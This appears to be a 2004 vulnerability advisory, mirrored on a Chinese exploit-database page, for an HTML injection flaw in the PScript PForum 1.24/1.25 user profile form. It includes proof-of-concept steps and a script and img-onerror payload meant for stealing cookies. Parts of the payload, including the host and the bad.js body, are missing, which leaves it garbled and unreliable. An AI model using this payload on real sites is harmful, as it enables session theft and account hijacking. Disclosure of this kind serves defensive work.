PScript PForum 1.24/1.25 - User Profile HTML Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1054525 漏洞类型
发布时间 2004-07-16 更新时间 2004-07-16
漏洞平台 PHP CVSS评分 N/A

PScript PForum is reported prone to a HTML injection vulnerability. The vulnerability presents itself due to a lack of sufficient sanitization performed on data submitted through input fields of the PForum user profile form.

This could be exploited to steal cookie-based authentication credentials. It is also possible to use this type of vulnerability as an attack vector to exploit latent browser security flaws.

Create a Javascript file and save it as bad.js (your domain name is in this
case The file contains the following code:

// bad.js
function b()

Edit your profile and enter the following line into the IRC Server or AIM
ID Input Box. The string have to be shorter then 100 characters.

// Input Box (without line break)
"><script src=></script>
<img height=0 width=0 src=foo onerror=b(); >